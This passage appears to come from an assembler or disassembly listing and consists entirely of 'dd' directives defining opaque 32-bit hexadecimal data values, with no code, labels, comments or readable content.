0EBAA063h, 0F47C50h, 84ACFA66h, 148133B6h, 1F7F9001h dd 0DF3E6EE8h, 763A7920h, 0D23C0011h, 3978C2A6h, 0C0F0A95h dd 809DBF30h, 0A81A6534h, 0DC2200C5h, 0C9104D59h, 720E3A55h dd 0A05378AAh, 0C635EEF6h, 347977h, 0D32BE143h, 629171BBh dd 0C27ABF00h, 5F700A66h, 0E1A758A8h, 21270A7Fh, 17A8D2B2h dd 0D407ABB3h, 0E400585Ch, 0D4DB29h, 5B65A67h, 802EEDA2h dd 5EA80E00h, 30EF9D49h, 104D50CEh, 0E1DD00F8h, 47047844h dd 397A327Bh, 0BC1DC01h, 0DD8AB84h, 0D27040E2h, 2F030086h dd 0F7691E7Bh, 0C13E1C5Fh, 3084004Dh, 2799C68h, 183854D8h dd 316817Ah, 0E4383882h, 5F2C8A80h, 9F20C5C3h, 8CE0D0E7h dd 39D27950h, 18ACC830h, 7C92F00Eh, 69EF004Eh, 0DCF60268h dd 8E00B286h, 0ED971CC7h, 3705AA14h, 0E3B0DAA9h, 0E1F182C8h dd 0EC863139h, 5C0317B7h, 0EFF65DBBh, 4C9900F9h, 0A46ED87Dh dd 0EC33D9C6h, 0D8A841E5h, 283D78FEh, 2AB04C8Bh, 50B4D524h dd 74CC7C26h, 508F9808h, 0F7C1446h, 0A549E672h, 0C60EB2CFh dd 144A9660h, 0AF0F562Ch, 0CC76CD6Dh, 3B0630D9h, 79004DC8h dd 7AAC8BB9h, 5B382E83h, 0B8120498h, 3B8029F7h, 0D2FE9Ch dd 367F8B67h, 549BC682h, 420019E8h, 0FA8BC37h, 58CD04BBh dd 801F0A6h, 9B15BD91h, 48733036h, 9F01EA7Ah, 2E5B198Bh dd 0F4F8D87Ah, 64B40016h, 10A1C0C5h, 363C23BAh, 6D2D0088h dd 1B28D7B6h, 3246000Eh, 6EF5EB15h, 0FE07D582h, 17AE926Ah dd 1D9ABB1h, 2260DA71h, 0E1EF007Eh, 2147EA97h, 5804058Fh dd 0D832245Ch, 0A8FD1083h, 0DF8E6Ch, 0EF066D14h, 788742AAh dd 0DACAAC00h, 0C99076D3h dd 548800BDh, 96CFF179h, 0BCA0E0D1h, 0B4A47723h, 0D0833Bh dd 89B2C5A3h, 0A8677FD1h, 74C4D0h, 0C0B011E7h, 0A3684F86h dd 4670D800h, 366DFE79h, 3549DFh, 435C640Ch, 57700638h dd 0C7B9B600h, 71201153h, 0F320C165h, 804ED121h, 7B46BF29h dd 40B177F1h, 0DF00995Ah, 0AC585BA6h, 3028727Eh, 0C061E9D8h dd 563AF996h, 0C75480DFh, 8522F734h, 7964079Ah, 206EFD66h dd 0E6C53378h, 0C625D104h, 3497F9C8h, 0E37A4EF3h, 325DE8AFh dd 7019C0CCh, 0E7DDDCDAh, 0ACC2C100h, 0EF20DBF4h, 215E0FA9h dd 0CB010B4Ah, 0F0AB8D66h, 99032D3Bh, 782251A5h, 5AC9025Dh dd 657AE2Eh, 0EC38A8A0h, 6C038EABh, 0C5AC166Bh, 71DEC7h dd 533FFEBEh, 24CA1A92h, 2BDC5500h, 945B797Ch, 0C1580C34h dd 89A10C78h, 0A7C96207h, 0C08EFF23h, 0EA353E86h, 0F4FA007Ah dd 880BF62Eh, 0C8F82363h, 7C723400h, 842C123Dh, 0E6740765h dd 414768FFh, 311F62EBh, 0FCE5E0C2h, 0E7349D00h, 0BC7B42B4h dd 8F9F076Fh, 26503C63h, 11F404Ch, 450D6978h, 40A605Ch dd 11A227C5h, 0A0AE0418h, 8A7656h, 0DE27F388h, 0DCD9114h dd 28F89D13h, 0DCCB00FBh, 5F098C8Eh, 8958A7E6h, 80173F67h dd 77D20CFFh, 2C8857h, 2EC2E03Eh, 668B49F4h, 8555690Fh dd 182FC309h, 99DCCBBAh, 2087162Ah, 0D137721Bh, 4B58C579h dd 0EEF20820h, 9DB46002h, 0CE4B09C9h, 12A237F0h, 407C8E37h dd 0FAAC9330h, 2C0F6B0Fh, 58C6163h, 80F03AAh, 0AE0F49h dd 411A3F5Ch, 0EED7034Ah, 149B7798h, 0D1E05DEBh, 2FB8E6CBh dd 9D004871h, 35449EC2h, 791EF49h, 743EC7ACh, 0E183102Ch dd 0A1C5BFEh, 8A80F288h, 0EF4B913Dh, 0FABF1A27h, 0B4105049h dd 1428CBCAh, 0D900A896h, 0E9072EBDh, 286A84E4h, 363004C9h dd 0B0A0F7E2h, 2A20B878h, 2208410h, 3A830773h, 0D15BEEBh dd 8B0B9DFh, 7014C20h, 447A416Eh, 211E715Fh, 8FC06CDBh dd 0AF1118FAh, 27E3645Dh, 0CF5B409Eh, 2882CBA1h, 15094238h dd 74614048h, 0AF007F98h, 0CBC50189h, 74665C9h, 2A072B86h dd 0C2D9C0CEh, 0C90623Eh, 0E3AE301Eh, 0EE169107h, 4F208Ah dd 4A0F82C5h, 6D44857Dh, 2F78BA42h, 8C48D484h, 41001E10h dd 0E5181EBh, 1CF3389h, 9657A3F3h, 4028BE64h, 8535B1FBh dd 5297770Fh, 0C4B40051h, 0A29CE9h, 8A125957h, 0A86855B8h dd 84203456h, 3234F43h, 0B390E5B8h, 6D4BB903h, 0A0F3DCC8h dd 0F818358Dh, 0F90B007Ch, 0F62FE061h, 1E0F6F6Eh, 4E54DD9h dd 5620FDF3h, 0D6102E85h, 0C5089819h, 8978E467h, 831DFD32h dd 4B498280h, 3C6C8ACEh, 2055492Bh, 0D8B9B700h, 3B7DC915h dd 0EEA86DECh, 5B5F0440h, 42F188A1h, 3BE6C471h, 661BB9C0h dd 50CF4D21h, 0E5577E6Dh, 0C0107520h, 64A8FB8Ch, 4BB8B3Ch dd 2D02A50Ah, 254CF100h, 9B5B29E9h, 0C700C7A8h, 5F269A4Dh dd 81D962Fh, 1706BC2Eh, 1186652h, 0C95D58A6h, 0C180300Dh dd 0F1B0E0D0h, 0BD5331F4h, 37752620h, 0E1201615h, 70BCED4h dd 0F8A0ACB3h, 7BD5DF70h, 0E40601FAh, 0BC9C4CFh, 0C2ECFC36h dd 1400F978h, 29AD8633h, 0C0D1F0BAh, 0E7B38828h, 2B29BF73h dd 82F82002h, 0E5A30AB3h, 0F240B9EAh, 0C020FC88h, 28DB371h dd 503ABE21h, 73423524h, 67378BC1h, 29605E23h, 0D5602028h dd 85F266EFh, 0D33C3C44h, 28426679h, 34E0A1h, 4113D550h dd 0FFCEEC1Ah, 3100A57Dh, 825827D3h, 14D837Ah, 0D2303FAEh dd 0F026C1ECh, 8D0169B4h, 0CFC7960h, 0F4E09D02h, 0E951211Bh dd 70FAF940h, 8FEB7A14h, 56B08810h, 3604C3C4h, 0CD321E3Ch dd 48426C78h, 0C700E094h, 37D8C86Eh, 947C24D2h, 0CDA820A5h dd 7902208Ch, 0CF107D7Ah, 0E140BC18h, 6EC0600Bh, 4711E3B0h dd 58C4C83Eh, 0D80AC786h, 0C029CD52h, 41186054h, 0F2713CA0h dd 0FF1D28C1h, 2C41B67h, 7F51E433h, 0AC1800FCh, 26C9AAA9h dd 0EF072877h, 3745C40Eh, 0E7AD16C0h, 1E089047h, 7208B99h dd 8AAB186Ah, 3922CF20h, 8152987h, 96701DDAh, 8D4611A6h dd 96A6F2F1h, 0A7700840h, 215414E0h, 97C71B32h, 0BC371222h dd 0C0364320h, 0A2E54953h, 82948F9Eh, 0C98DB060h, 0A3C74290h dd 0F500ECEEh, 9BC91C2Ch, 9202DFF4h, 0C1696EDDh, 7004406Ch dd 0CF9300E2h, 0D96F03CDh, 847C5E4Fh, 6534BE1Eh, 6A5822C0h dd 1E47ADDAh, 1579F7BCh, 2401206Fh, 0F94F2EE2h, 0C8880AB6h dd 80119680h, 9FC86FDh, 3C7A2B33h, 8DFE48B8h, 514B1E21h dd 689814D4h, 99B20235h, 0DF418939h, 20D8523Eh, 5BB4FFC1h dd 269D0A01h, 0A49F7888h, 0CF82E893h, 656B2A47h, 21E44268h dd 7BFD021Ch, 0D230F73Eh, 6D20153Ch, 29C0204Eh, 0C4B8ABCh dd 3C38938Fh, 2F155348h, 0E1607E68h, 10A185Ch, 0FA76C45Ah dd 205E7714h, 0E01A3010h, 52877A20h, 34A1800Dh, 74205817h dd 71DFC400h, 0BAC933BFh, 0D81A00ABh, 73C2F340h, 550F3E48h dd 0DAEAF2h, 42160152h, 761C005Bh, 3340D92Ch, 26089F1Dh dd 0F8CE8AFCh, 850236h, 46AD1D2Bh, 1523D422h, 8BEC7BBh dd 0A1D1150h, 3CA973A6h, 0FFFAF060h, 1D440085h, 2A3F2EE6h dd 0D3C6CD47h, 20841068h, 4F04C57Bh, 0CE8CC48Bh, 60AEA67Ch dd 841E40C0h, 47CD8E2Dh, 0FF8284B5h, 7A144838h, 0A8803B4Ah dd 240AEAEh, 0F054204Dh, 0C095CAEDh, 1DB3AA10h, 2A2BD588h dd 7EA13042h, 2604ACFh, 6BDD9880h, 0CEFE3ECEh, 1B1D20A5h dd 0C069E805h, 5366A07Ch, 59C80CFh, 78278385h, 0A0A79640h dd 0FA0A6281h, 481F1A68h, 8220429Eh, 458C0AF4h, 819E66C0h dd 125A6703h, 90B2FD38h, 0F247CCD3h, 7EF85Bh, 33AC9228h dd 2EB455C3h, 2864DA28h, 40D8FDB0h, 72CFF50h, 382D7E55h dd 0FB5D63CDh, 0E00E74A1h, 2730D536h, 0C2DF384Bh, 3F923147h dd 0F59E51h, 0A454F80Ch, 0C05B1020h, 542FE1D7h, 0EC46C88Fh dd 0C9F8438Ch, 60C3CA3Ah, 0A3BEB418h, 0F0DF814Ah, 70C3AD97h dd 3B724446h, 5E00C919h, 9958FD88h, 5B006E78h, 0A8C164CDh dd 18D6F281h, 38D1EFC2h, 88A04933h, 0E0569CDh, 3D39AD4Ch dd 0BA3EB800h, 2B9CC4h, 92F8CF95h, 0DAA4C5D6h, 97756B00h dd 15D7EB1Fh, 447828ADh, 535C0E88h, 5B8112A3h, 815E99E8h dd 80F00758h, 76C09062h, 58DF7643h, 229725Fh, 8C8F94C8h dd 0AB4B4800h, 2B1AECEBh, 0BC36823Ch, 3CC10120h, 0FC3B7491h dd 0A9A5E443h, 0F9C43FC3h, 98F1007Fh, 789BB066h, 80ED25FCh dd 5DD27478h, 14F404EDh, 0F0244280h, 0C036D185h, 1AC49A7Eh dd 673E38h, 0DE855F9Dh, 0EEAA8Ah, 7B478630h, 2B74F2A4h dd 8077C43Dh, 5D9B146Dh, 291F69D1h, 80A4280Fh, 89670C46h dd 0D4F540DAh, 18C3C530h, 58DFA2h, 0B5FFDE91h, 6BAF64D9h dd 0F04EF43Dh, 0D89BC426h, 38733B01h, 6F30C5ECh, 39580017h dd 0E8A09E05h, 5078C0A1h, 0EF4B27Ch, 8AEB2900h, 0FB7CCD8Fh dd 5818C0E3h, 96874394h, 28AE4B07h, 0CD505097h, 1B05A35h dd 0E6DBC884h, 0E07B9C04h, 3B64E145h, 9E800938h, 308F67EBh dd 527828EAh, 0E51D109Ch, 96405CC5h, 6C771C23h, 5D7C0FCBh dd 16EF05B2h, 0EA8AC4A1h, 0BA9BC897h, 4864DC00h, 0CFA021E8h dd 42C300C9h, 0F0A89CD8h, 3D3EF1D4h, 6DA68004h, 2B582564h dd 78CD00FFh, 9B48C1BEh, 9F01E0B9h, 797C1AA6h, 18811F49h dd 94661D9Eh, 0CCDF041h, 0C9EC0E01h, 0E861EA8Bh, 7AA33080h dd 0D8B6B825h, 4E644500h dd 0B26FDF54h, 0D06B00F6h, 0C508CB78h, 80C0056Eh, 290BE1Ah dd 0ACE80604h, 48CD0B17h, 25988303h, 22238F36h, 5513718h dd 4510E04Ch, 7100C1B8h, 48BCCE6Dh, 0C1AD09FDh, 0FA5D9120h dd 21504318h, 92F04790h, 0C7614201h, 0F63845A7h, 607D1047h dd 0CC8D886h, 0C1F060CEh, 8237B100h, 0CAD8C76Bh, 181D639Ch dd 0F140AD57h, 0CB2A0890h, 14767099h, 58DE3431h, 87E1E48Fh dd 4C7330h, 93FB503Bh, 0C145ACB5h, 6617C600h, 0CB873805h dd 0D0711D19h, 270BC042h, 0EE433FF9h, 72F3F9C0h, 18B28BD6h dd 68FB0E16h, 1B3ECFC4h, 0BB641481h, 47910088h, 0A550FFC2h dd 1B80C0E5h, 6D418666h, 5D71E803h, 0E0D4966Bh, 63403EB5h dd 4A7348CBh, 83BBFDFBh, 3112E170h, 10059CD7h, 0F840657Dh dd 71754616h, 6BEA0089h, 21510222h, 9AF0881Fh, 0DD89400h dd 13A2BB4Ch, 4B6703ADh, 923AC547h, 0BEF51000h, 982B3E75h dd 8FF008h, 11629AB8h, 0FCD0364Dh, 0A834CE14h, 7D4C1EE4h dd 3E0D5200h, 1817C3Fh, 0BA9ECB79h, 8292FAB8h, 0D615B490h dd 285844FBh, 110C9E8Eh, 8BC65AEh, 88A69FE2h, 9644CC0Eh dd 59192E40h, 0ABF8A412h, 0DB490924h, 238C51Fh, 7ECDAD0Ah dd 168C8084h, 90A904F6h, 0EC6B07CEh, 799420C7h, 0C81CBC00h dd 0A0A880CBh, 0B373E9Bh, 85BFE89Ch, 0C041CE1h, 0CA469977h dd 592A3198h, 6115F42Ch, 9CCE966h, 207318F0h, 0A03E9934h dd 0F014903Ch, 0E53D28CFh, 98011060h, 4CFD2439h, 49882423h dd 0BDEE6091h, 0A8A0E64Fh, 90A4E13Dh, 1D8FCD08h, 303E14A4h dd 0DAE1F681h, 0DB2A309Eh, 81A918CEh, 0C6E420CBh, 42DA804Ch dd 7283ABDh, 8F59ACD8h, 0AD7AC571h, 0FFA3F880h, 0D5D09518h dd 0E3CDEA01h, 0B2C00E14h, 0C4835820h, 351F88h, 167A9D9h dd 0F429502Dh, 664500C3h, 0E6503444h, 8F78C83Ah, 0E8E88D30h dd 293DDD88h, 83C6318h, 0F964A782h, 8ADD0470h, 1D432384h dd 6241E908h, 19303554h, 81086F3h, 0BAC2CD99h, 0E9110A1Ah dd 0D421941Ch, 1C370888h, 0BC5889C1h, 0C710DA09h, 2C3E1297h dd 5044657h, 3D3730AAh, 3F50A9FEh, 0C0798338h, 0B764FA20h dd 1F522FCDh, 0C5E13F30h, 0E6183084h, 7FDF4085h, 9A2B8179h dd 4D5605F8h, 318518FBh, 4CFCDC60h, 60A673D8h, 2B86A173h dd 49C29D4h, 228791E1h, 0BAD8B894h, 0D23868Eh, 0E05C0A1Fh dd 19DB883Ch, 0D862D5C5h, 0A53C98DCh, 0F579408Ah, 944C2C79h dd 0F4E801C4h, 0A0071E49h, 52C09C24h, 51141C1Ah, 4CC5F4D3h dd 525820A2h, 578409F6h, 6C1094D9h, 1D63C4B0h, 52364161h dd 3C98B458h, 87423CB5h, 4630E824h, 2B22C0AEh, 313E6265h dd 54AECCF9h, 724871D2h, 0D5AC4CA8h, 0CD854A0h, 5A41609h dd 36E4068Ch, 904A5531h, 0D301318Ah, 0B3E4426Ch, 8C1CAB18h dd 0BCCA5510h, 7C33129Fh, 18A47560h, 4FC78C11h, 9F084BE7h dd 9C941518h, 37E0DDC5h, 6198A484h, 290CD40Eh, 0B9E0D8AEh dd 34332386h, 6778A108h, 75C4F864h, 0ACB81498h, 9F3213Ch dd 5CC21911h, 0A3118A92h, 0C343211Ch, 68D2811Ah, 29B93C01h dd 93C40879h, 8C2E84A8h, 0D365212Ah, 203DC114h, 0FC89A03Dh dd 2D4F4D04h, 5CC1181Bh, 618A3BE8h, 936CCA29h, 9DEC2284h dd 0A2684440h, 89E212F1h, 43D892D8h, 892E428h, 0D060A4FEh dd 0D831CC9Dh, 0A68C744Ch, 919AE460h, 9C159544h, 32DCA8C5h dd 9D3897D8h, 29BC42B2h, 358A3CE0h, 0BC946CD1h, 17D6CF3Ch dd 4FA35C00h, 0E2811DABh, 591A07AFh, 415F5455h, 0E8938830h dd 0A606EF9Dh, 3664855Bh, 1DE33B18h, 3CEEF81Fh, 66537400h dd 0DDE8C3Ch, 9045960Eh, 0B699CA35h, 0DBBF5900h, 0F87B8E73h dd 124AC7Fh, 38F22668h, 851C05Ah, 7A542086h, 373DC51Ch dd 0DD675941h, 198453BAh, 3450EDEh, 18587C55h, 828D550h dd 6B03BA4Ch, 9F93AA02h, 70400E31h, 0A0A37582h, 2DE76107h dd 8EF6F428h, 0A4714F00h, 2F891A31h, 382F834h, 91C9B7DEh dd 2BB39F5Eh, 0EAC593Eh, 67A09B6Bh, 94BA2049h, 0A337D041h dd 0CCDC0C0Bh, 0A970E0E5h, 26E8BC94h, 6081C03Fh, 5F938756h dd 645A11C5h, 980E141Eh, 0DA8F802Eh, 10EA95Bh, 90446996h dd 9826ABB6h, 0E0E18438h, 39AA00AFh, 9872BC43h, 77602F08h dd 95D56788h, 3538C262h, 0A89029BFh, 0DB533653h, 6A300EA4h dd 25D8603Ch, 0BB2CCFh, 7BBA23A6h, 5407888Ch, 0EC3028C3h dd 909820D1h, 0BFFBBD07h, 65804092h, 522C6438h, 0E63B983Bh dd 5E84F73Fh, 0C37D8B2Fh, 0E128377Eh, 0B7486813h, 28B128E4h dd 7BA88011h, 60E3C014h, 0E6DEB706h, 0D1052891h, 7E49862Ch dd 746BBC03h, 4D41C125h, 0B9870840h, 0C8ACA875h, 3DC6038Eh dd 17AF0785h, 66E033D3h, 7B79B6F6h, 510A9F7Ch, 0E0BF494Ah dd 5E5B2941h, 0E8485CE5h, 0F0601585h, 887830D7h, 0CB441EE0h dd 0C6B77F03h, 0B0F6D218h, 7103E085h, 0E1413C33h, 32F15752h dd 0DC45DB30h, 0BA740F91h, 0ADD3810h, 0C8D39141h, 0CC8EF98Fh dd 312D689Fh, 9319D21Eh, 45B6D4A1h, 0F2A1A460h, 48CA1DE1h dd 0AC12E09Ah, 1848106Ch, 2BBA0A78h, 80B4A54Ch, 0AF6CC032h dd 2618A039h, 0B9A87102h, 7D883006h, 1AA530C0h, 82388048h dd 40AD728Eh, 938D0Ch, 0A6E92BABh, 2455EE6Fh, 2831B091h dd 0A502A7E6h, 26C83D1Bh, 7A031861h, 0F030806Bh, 35A4EAE3h dd 1A60006Ch, 0DE869918h, 2C988F11h, 92DD7F00h, 0C75BDBFFh dd 50E11FE3h, 2D02A47h, 0C97C894Ch, 6440684Dh, 2BE88AC7h dd 69822D18h, 2A0E6540h, 12C85B46h, 217A75DEh, 1B2C62Ch dd 0F3E846D9h, 16EF408Fh, 0A8790730h, 772E6D09h, 3A5492D0h dd 31C425E3h, 48DE3628h, 1C06D118h, 0A413BB51h, 0FD691EA8h dd 66FE0CBDh, 310CCB10h, 0C1184647h, 4020020h, 35A1F6AFh dd 0DE0C3987h, 48DC3D32h, 8BB6312Bh, 0F01D79B1h, 31502DE6h dd 0B52859B4h, 0B9022C0Eh, 935C3409h, 0C2370062h, 0C413356Fh dd 1C0C2223h, 9124198Eh, 5F2982ECh, 24A7A95Eh, 0FE533717h dd 79EF02E2h, 0DBC34890h, 482AB513h, 0F684EC42h, 80B70529h dd 0D30EE425h, 0F5856C14h, 0BAC78130h, 818F4164h, 0F8E5C1D4h dd 4084045h, 1316EB47h, 4747248h, 6FC5331Bh, 0F8590880h dd 0F07D501Ch, 1E267029h, 4A69E2Dh, 0CD212F9Bh, 6B83DC3Ch dd 6B65D40h, 1A55E17Ch, 0C8706979h, 85176312h, 3901685Eh dd 3BC27FEAh, 0FC09034h, 1B69D32Ch, 0BF6820F3h, 0B803AA19h dd 0DD605A6Ch, 38884C70h, 0CAE1060Bh, 0A50A180Fh, 0E8A834h dd 2B080721h, 0A348C26Ch, 2C59CA00h, 0A952CDE5h, 3F5B00B8h dd 5E2122A7h, 613C6482h, 67130090h, 520CBD70h, 3D4800EEh dd 24D68B1Eh, 8A003889h, 25903693h, 0C94B12h, 2E0A9685h dd 0F2B195B9h, 23D128C0h, 0C3AB1D44h, 0BECAE468h, 50325900h dd 0DC3E1720h, 2E043E0Eh, 0EE684E01h, 0F729798Ah, 20072829h dd 3FB29807h, 19E5C480h, 0AE9200ACh, 0F1650534h, 0E302BF7h dd 4B85B830h, 669B0D9h, 422CBB53h, 0F4601835h, 48247178h dd 0AAC1096h, 362014F1h, 7F5A0010h, 0D35C8DBBh, 92DB3D12h dd 0BF523DF4h, 0A3B99Eh, 0EE67109Ah, 0A2785CD3h, 623CD442h dd 1E90180Ch, 0A30CB511h, 31176FACh, 0A020CA4Dh, 48203380h dd 87FACC1h, 92711B87h, 103C504Ah, 38180CEDh, 0F0E85109h dd 213763ACh, 0B8B6DFA8h, 7CAE610Eh, 0DC80AA97h, 8E45F19Ch dd 0A8045389h, 2C48DA5h dd 2E9A1803h, 0AB678896h, 0E36D0059h, 0DCCA8039h, 80F31B70h dd 8A57CE91h, 7D75CB4Dh, 0C7A3001Ah, 12BA5355h, 2C0325F9h dd 2D2ED60Fh, 8038BAADh, 97614AF8h, 0F49854A2h, 0A919003Dh dd 0F12EEB1Ch, 0CF01DAEAh, 0CC52561Eh, 1820BBA5h, 3AD0043h dd 6C24F21Fh, 4EB8064Fh, 4D501904h, 189098F8h, 48292C5Ah dd 0A61404C1h, 822F8F6h, 0B9FEE518h, 11FAD1h, 35B0C101h dd 0AFBA2812h, 802318CBh, 0A96FB80Ah, 1A3D030Ch, 60F80E91h dd 3179B022h, 1071153Ah, 0F34222Ch, 53D0E83h, 2001E108h dd 0F84267A7h, 0AC701841h, 6648EC50h, 0EF8A09A9h, 6008D7CBh dd 71FD8024h, 59A15393h, 3C8A3F24h, 0AA499683h, 9BA812DAh dd 2E20408Fh, 5C3F9482h, 0F87B2D30h, 54FDFBh, 0B55E47B3h dd 0A379A1BBh, 7C24D306h, 7C81C018h, 55D28BEh, 6131F8C8h dd 20F019ABh, 0DFA3FFCBh, 13A7B2A1h, 12B02872h, 274F1F08h dd 14246Fh, 6503E646h, 7002EDABh, 0BB1732F2h, 0F97C4105h dd 10C86A08h, 839744D5h, 5178C594h, 2870D93Ch, 36210CAh dd 110830h, 0CF49CBF0h, 37059371h, 0B5770FC0h, 83F6F01Ah dd 988D9F60h, 0B0C71E56h, 1976310Ah, 844C13A0h, 0CA6C9C38h dd 0AFAD8082h, 8B4F8FE4h, 566F00EDh, 0C3501E27h, 8679BEE1h dd 5D8E1818h, 921D5388h, 907460A8h, 0BEEC93A7h, 0F8439105h dd 0F0408A5Dh, 0EE6027F0h, 25FD39E1h, 66D2CC1Fh, 5C8914D6h dd 16F4E504h, 0AF38D17Eh, 4DB660A3h, 0BE6D08A0h, 0C574A6F0h dd 1D011F81h, 413712B2h, 861799D4h, 4F202060h, 0DE800C7h dd 88CBF329h, 0E120219h, 3C232EB9h, 7BB6A845h, 6F9301A0h dd 37A6BA3Fh, 48C0B8EBh, 0A4C52680h, 0B48E4E41h, 990034h dd 952E57A4h, 6F09CAEDh, 0A9544771h, 35000A98h, 2EAF2B42h dd 0A84652h, 0FD32D33Bh, 319A5CA9h, 3963D200h, 0D1C94927h dd 3ECD0E42h, 75806A0Eh, 40A243DBh, 77C1A100h, 4925382Fh dd 0C022FAA9h, 9488FE50h, 65EA9857h, 76F60C0h, 0CCD6AFh dd 0EE10D24Ch, 6EEC0B5Bh, 0DDEF30C0h, 0C7E4A1A2h, 0C076C611h dd 45EDF0BAh, 6F7C5772h, 0EF002378h, 0A2081DC9h, 0F3D034Ch dd 0BB8E821Ch, 0CC3B2183h, 0EA511803h, 252FFE2h, 0D6995738h dd 883B788h, 0A5C1D513h, 2DBCE04Fh, 78145F30h, 0AF76307h dd 8BBFC34h, 3CC8808Ch, 0AE6F6BE7h, 8595B106h, 3914AE0h dd 2DA70E8Bh, 400315D8h, 63BC40D2h, 0C360FB0Ch, 0A7281D51h dd 0B1E44011h, 8FEA9E9h, 0F4B4D400h, 7C65409Fh, 0AF4C2EB8h dd 69DF038Ch, 78395CB9h, 67E70D98h, 80E38979h, 60073BE1h dd 0ECC5105Bh, 0EB015FE2h, 0C094024Ch, 1720E745h, 26250027h dd 0BE4E6818h, 0E6E0E230h, 3F19ED0Ah, 0E830900Eh, 10934010h dd 2B85BBh, 764E0AC0h, 300ED9C7h, 1410EFE8h, 57601EF3h dd 0D25F9C71h, 0FE2B0144h, 864D2EEEh, 0C21C408Ah, 623C29CBh dd 3E27CC2Dh, 21A8D32Bh, 0FAD38109h, 0E6E85F61h, 0AA058C9Eh dd 0CB272189h, 0A45FE833h, 46524E60h, 6A7C3584h, 3D506021h dd 4492939Ch, 9966602h, 0A0AF2D6Ah, 88FC2FD8h, 0C04955A9h dd 90775182h, 80A289A3h, 0C0041D73h, 0D710308Ah, 0CDA70649h dd 714EC4h, 794BB5ECh, 0F14360FEh, 0A1E22A1Eh, 0A3307EC2h dd 0B0C888B8h, 9C60C712h, 8F2BBCF3h, 92C30D70h, 5130184h dd 40C76DAAh, 675181EEh, 0D2705EDFh, 0D6CC1DE5h, 6BCA4EFh dd 777A995Fh, 0AE3E1154h, 0A7438A1h, 0A8BC4F0Bh, 6FDA880h dd 0C1868C63h, 4DF9D770h, 0B8889E1h, 0C0441B6Bh, 0A09420CEh dd 18460284h, 89EDC45Eh, 0C0F040D7h, 20BB9E37h, 0A80CD133h dd 0FC2DEF16h, 27770E8Ch, 0CD8072DBh, 8BC46BAh, 760D4772h dd 49BBCE5Eh, 0A03D0DC8h, 78F6FE8h, 0C49823C3h, 30CAF749h dd 6A314C02h, 723AAE1Eh, 0D9C150F1h, 38BDE3C0h, 0D1809B1Fh dd 6AFAF684h, 249292E2h, 6B7812F0h, 270842F7h, 3091FF39h dd 0DA200382h, 92DE69BBh, 1D8C4861h, 1BF874A3h, 0A0BDC96Ch dd 0A783CE0h, 0D7428207h, 0DA265BCEh, 588D0CC9h, 0FB51EC30h dd 67C52006h, 31102B51h, 1D29B979h, 7E618A6Bh, 98A0D483h dd 79601C63h, 1F2902BDh, 0B53C07C2h, 8F8C04Bh, 9CA4CD5Eh dd 84343D09h, 7ED400E8h, 501BFAB0h, 802FB009h, 60806FCCh dd 0ABE50069h, 0C217EF45h, 249E2D6h, 0A05A18CCh, 89529B10h dd 109302A2h, 6BF0D54Bh, 980218A1h, 0AC21A310h, 6A4603ECh dd 6D04CE4Bh, 10027019h, 8420C80h, 91C7060Fh, 71FACC01h dd 5189D54Eh, 80D08050h, 3E4202E7h, 0DF8635F6h, 0D5BA8891h dd 0EE46006Ch, 0E3EF2419h, 4B050254h, 6463BF66h, 0FAB10F88h dd 87045D00h, 0F1C9EDE5h, 1A28C0BEh, 581273Ah, 7BE06B00h dd 6231BB8Dh, 42093E8Eh, 341E5FBEh, 0C2987h, 7C7B639Eh dd 0A80050D0h, 794EF2FEh, 7627644h, 3C74C9A2h, 84409A35h dd 80965EA1h, 277C3A84h, 7818564Ch, 796320B0h, 0B0C9D2C1h dd 0F4A9299h, 2BF62C4Fh, 0B0180052h, 0B8591A52h, 5C0A549Ah dd 0FC8294D0h, 0AE50723Ah, 2B06F1B8h, 5718534Fh, 30F9E2B0h dd 2AE8B12Dh, 0F090EE1Fh, 5B6FC002h, 60B27B70h, 59FA4180h dd 0D20468E1h, 0C078616Dh, 6CEC6728h, 17FAE3Eh, 88665723h dd 0E0202663h, 0F3625C21h, 0FB524A0Bh, 867EDC18h, 96061671h dd 5A89D681h, 0D1BC26D8h, 59D91852h, 0A840C134h, 163D3BD2h dd 2BDD1862h, 0EABFBC68h, 0D1110602h, 83A42F21h, 0B07B0588h dd 0BBFFAAh, 0D797D8E6h, 289E6A55h, 815F0D07h, 0D350DEBEh dd 148D61FEh, 0AC736CDFh, 0FC4E2187h, 531405B0h, 38CCE45Dh dd 0EAF399D1h, 4C322318h, 0B0C21518h, 0C840BC8Bh, 440C14ECh dd 894084A6h, 0E3D900BBh, 8B304516h, 1E0362F6h, 4ABE390Ah dd 42F87C89h, 0FF010857h, 4D3884C8h, 0D8C244A6h, 0C8E72138h dd 9744CECAh, 827520E8h, 0E2208A02h, 159FA7D8h, 0CD26C880h dd 90852C54h, 0D96E1708h, 6C600241h, 4040A042h, 5E07B13Eh dd 8955C38Ch, 0C8934E25h, 6882C5h, 61D39C67h, 3D3C7A48h dd 0D9F8039Eh, 156036Dh, 34F31C20h, 0E6188827h, 0C6232096h dd 11010065h, 3BE97381h, 0D1EB7806h, 18F0D9D3h, 0C16460DFh dd 8701A3E1h, 3DCEF694h, 0D8646575h, 516099Ah, 8001FE97h dd 242BAAA8h, 0BAEC986Ch, 0E679809Ah, 60921900h, 9C4E8095h dd 608274A3h, 0BAA821CDh, 41050D19h, 40CA77FBh, 0F1ACC8h dd 0C5870BA3h, 0D1918F90h, 650B73ECh, 8247ADB9h, 648E5EC4h dd 2B30C1B4h, 8040351Dh, 0BC14F11h, 0CB2D78Bh, 8905E9EEh dd 2C601A08h, 0BB94A20h, 28E31F10h, 13007F4Eh, 21D7E7BFh dd 0D890D667h, 3E8CE4A0h, 0ED0CB4B0h, 190851F9h, 4A583033h dd 0C7214D80h, 1C24CCB2h, 0FD11F81Dh, 725A0300h, 2ED04359h dd 1A396F00h, 85712AA5h, 38241D80h, 4CA0007Dh, 945C5A90h dd 4003377h, 3AD2CA2h, 98EC0A34h, 779000BAh, 4415DFC0h dd 407F7554h, 0DD33D000h, 0DE095C5Dh, 1C91008Ah, 0FF642E8Ch dd 7A1DCE7Fh, 1524E707h, 0E13A2400h, 7E103B1Ch, 3BD00F9h dd 68DC0D9Ch, 211E0151h, 0A3C06113h, 0C15D575Ch, 71E4B8h dd 0D70164Ch, 0F68F5B0Eh, 2BB1A100h, 0AFA0C984h, 0FA95008Bh dd 0F0E06D5Ch, 560CC499h, 1888A557h, 84BB0079h, 0BA85F750h dd 0FD1DFB9Eh, 203032ECh, 0E031F8h, 0CBBD1767h, 166584Dh dd 6A75D203h, 2C2E9B72h, 1D0E3A4h, 8B703A05h, 243FE047h dd 1C3BCA00h, 0A28208B2h dd 5F0B00D5h, 